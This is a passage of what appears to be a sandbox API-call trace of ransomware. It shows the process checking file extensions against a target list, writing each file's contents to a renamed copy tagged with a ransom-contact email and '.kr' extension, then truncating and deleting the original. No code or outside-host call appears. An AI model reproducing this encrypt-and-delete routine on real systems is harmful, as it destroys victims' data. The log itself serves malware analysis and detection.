(lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.001] lstrlenW (lpString=".doc") returned 4 [0084.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.001] lstrlenW (lpString=".docx") returned 5 [0084.001] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.001] lstrlenW (lpString=".pdf") returned 4 [0084.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.002] lstrlenW (lpString=".xls") returned 4 [0084.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.002] lstrlenW (lpString=".xlsx") returned 5 [0084.002] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.002] lstrlenW (lpString=".ppt") returned 4 [0084.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.002] lstrlenW (lpString=".zip") returned 4 [0084.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.002] lstrlenW (lpString=".rar") returned 4 [0084.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.002] lstrlenW (lpString=".bz2") returned 4 [0084.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.002] lstrlenW (lpString=".7z") returned 3 [0084.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.002] lstrlenW (lpString=".dbf") returned 4 [0084.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.002] lstrlenW (lpString=".1cd") returned 4 [0084.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.002] lstrlenW (lpString=".jpg") returned 4 [0084.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.003] lstrlenW (lpString=".doc") returned 4 [0084.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString=".docx") returned 5 [0084.003] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.003] lstrlenW (lpString=".pdf") returned 4 [0084.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString=".xls") returned 4 [0084.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString=".xlsx") returned 5 [0084.003] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.003] lstrlenW (lpString=".ppt") returned 4 [0084.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.003] lstrlenW (lpString=".zip") returned 4 [0084.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString=".rar") returned 4 [0084.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.003] lstrlenW (lpString=".bz2") returned 4 [0084.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.003] lstrlenW (lpString=".7z") returned 3 [0084.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.003] lstrlenW (lpString=".dbf") returned 4 [0084.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.004] lstrlenW (lpString=".1cd") returned 4 [0084.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0084.004] lstrlenW (lpString=".jpg") returned 4 [0084.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.004] Sleep (dwMilliseconds=0x64) [0084.405] Sleep (dwMilliseconds=0x64) [0085.145] Sleep (dwMilliseconds=0x64) [0085.881] Sleep (dwMilliseconds=0x64) [0086.697] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0086.697] lstrlenW (lpString="SetupResources.dll") returned 18 [0086.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0086.699] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=15192) returned 1 [0086.699] CloseHandle (hObject=0x34c) returned 1 [0086.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0086.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0086.700] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.700] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0086.701] GetLastError () returned 0x0 [0086.701] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x3b58, lpOverlapped=0x0) returned 1 [0086.706] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x3b60, lpOverlapped=0x0) returned 1 [0086.709] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.709] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0086.709] SetEndOfFile (hFile=0x328) returned 1 [0086.709] CloseHandle (hObject=0x328) returned 1 [0086.712] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.712] SetEndOfFile (hFile=0x34c) returned 1 [0086.713] CloseHandle (hObject=0x34c) returned 1 [0086.713] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0086.714] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0086.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.714] lstrlenW (lpString=".doc") returned 4 [0086.714] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0086.714] lstrlenW (lpString=".docx") returned 5 [0086.714] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0086.714] lstrlenW (lpString=".pdf") returned 4 [0086.714] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0086.714] lstrlenW (lpString=".xls") returned 4 [0086.714] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0086.714] lstrlenW (lpString=".xlsx") returned 5 [0086.715] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0086.715] lstrlenW (lpString=".ppt") returned 4 [0086.715] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString=".zip") returned 4 [0086.715] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0086.715] lstrlenW (lpString=".rar") returned 4 [0086.715] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0086.715] lstrlenW (lpString=".bz2") returned 4 [0086.715] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0086.715] lstrlenW (lpString=".7z") returned 3 [0086.715] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString=".dbf") returned 4 [0086.715] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString=".1cd") returned 4 [0086.715] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString=".jpg") returned 4 [0086.715] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.715] lstrlenW (lpString=".doc") returned 4 [0086.715] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString=".docx") returned 5 [0086.716] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0086.716] lstrlenW (lpString=".pdf") returned 4 [0086.716] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString=".xls") returned 4 [0086.716] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString=".xlsx") returned 5 [0086.716] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0086.716] lstrlenW (lpString=".ppt") returned 4 [0086.716] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.716] lstrlenW (lpString=".zip") returned 4 [0086.716] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString=".rar") returned 4 [0086.716] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0086.716] lstrlenW (lpString=".bz2") returned 4 [0086.716] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0086.716] lstrlenW (lpString=".7z") returned 3 [0086.716] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0086.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.716] lstrlenW (lpString=".dbf") returned 4 [0086.716] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0086.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.716] lstrlenW (lpString=".1cd") returned 4 [0086.716] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0086.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0086.716] lstrlenW (lpString=".jpg") returned 4 [0086.717] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0086.717] Sleep (dwMilliseconds=0x64) [0087.227] Sleep (dwMilliseconds=0x64) [0087.842] Sleep (dwMilliseconds=0x64) [0088.163] Sleep (dwMilliseconds=0x64) [0088.429] Sleep (dwMilliseconds=0x64) [0088.761] Sleep (dwMilliseconds=0x64) [0088.962] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.962] lstrlenW (lpString="Rotate5.ico") returned 11 [0088.962] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.963] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0088.963] CloseHandle (hObject=0x340) returned 1 [0088.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0088.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.963] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.963] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.964] GetLastError () returned 0x0 [0088.964] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.966] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0088.968] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.968] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0088.968] SetEndOfFile (hFile=0x2b4) returned 1 [0088.968] CloseHandle (hObject=0x2b4) returned 1 [0088.969] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.969] SetEndOfFile (hFile=0x340) returned 1 [0088.970] CloseHandle (hObject=0x340) returned 1 [0088.970] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.971] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0088.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.971] lstrlenW (lpString=".doc") returned 4 [0088.971] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.971] lstrlenW (lpString=".docx") returned 5 [0088.971] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0088.971] lstrlenW (lpString=".pdf") returned 4 [0088.971] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.971] lstrlenW (lpString=".xls") returned 4 [0088.971] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.972] lstrlenW (lpString=".xlsx") returned 5 [0088.972] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0088.972] lstrlenW (lpString=".ppt") returned 4 [0088.972] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.972] lstrlenW (lpString=".zip") returned 4 [0088.972] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.972] lstrlenW (lpString=".rar") returned 4 [0088.972] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.972] lstrlenW (lpString=".bz2") returned 4 [0088.972] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.972] lstrlenW (lpString=".7z") returned 3 [0088.972] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.972] lstrlenW (lpString=".dbf") returned 4 [0088.972] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.972] lstrlenW (lpString=".1cd") returned 4 [0088.972] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.972] lstrlenW (lpString=".jpg") returned 4 [0088.972] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.973] lstrlenW (lpString=".doc") returned 4 [0088.973] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.973] lstrlenW (lpString=".docx") returned 5 [0088.973] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0088.973] lstrlenW (lpString=".pdf") returned 4 [0088.973] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.973] lstrlenW (lpString=".xls") returned 4 [0088.973] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.973] lstrlenW (lpString=".xlsx") returned 5 [0088.973] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0088.973] lstrlenW (lpString=".ppt") returned 4 [0088.973] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.973] lstrlenW (lpString=".zip") returned 4 [0088.973] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.973] lstrlenW (lpString=".rar") returned 4 [0088.973] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.973] lstrlenW (lpString=".bz2") returned 4 [0088.973] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.973] lstrlenW (lpString=".7z") returned 3 [0088.973] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.973] lstrlenW (lpString=".dbf") returned 4 [0088.973] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.974] lstrlenW (lpString=".1cd") returned 4 [0088.974] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0088.974] lstrlenW (lpString=".jpg") returned 4 [0088.974] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.974] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.974] lstrlenW (lpString="Rotate6.ico") returned 11 [0088.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.974] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0088.974] CloseHandle (hObject=0x340) returned 1 [0088.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0088.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.975] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.975] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.975] GetLastError () returned 0x0 [0088.975] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.977] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0088.978] ReadFile (in: hFile=0x340, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.978] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0088.978] SetEndOfFile (hFile=0x2b4) returned 1 [0088.979] CloseHandle (hObject=0x2b4) returned 1 [0088.979] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.980] SetEndOfFile (hFile=0x340) returned 1 [0088.980] CloseHandle (hObject=0x340) returned 1 [0088.980] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.981] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0088.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.981] lstrlenW (lpString=".doc") returned 4 [0088.981] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.981] lstrlenW (lpString=".docx") returned 5 [0088.981] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0088.981] lstrlenW (lpString=".pdf") returned 4 [0088.981] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.981] lstrlenW (lpString=".xls") returned 4 [0088.981] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.981] lstrlenW (lpString=".xlsx") returned 5 [0088.981] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0088.981] lstrlenW (lpString=".ppt") returned 4 [0088.981] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.981] lstrlenW (lpString=".zip") returned 4 [0088.981] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.981] lstrlenW (lpString=".rar") returned 4 [0088.981] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.982] lstrlenW (lpString=".bz2") returned 4 [0088.982] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.982] lstrlenW (lpString=".7z") returned 3 [0088.982] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW (lpString=".dbf") returned 4 [0088.982] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW (lpString=".1cd") returned 4 [0088.982] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW (lpString=".jpg") returned 4 [0088.982] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0088.982] lstrlenW 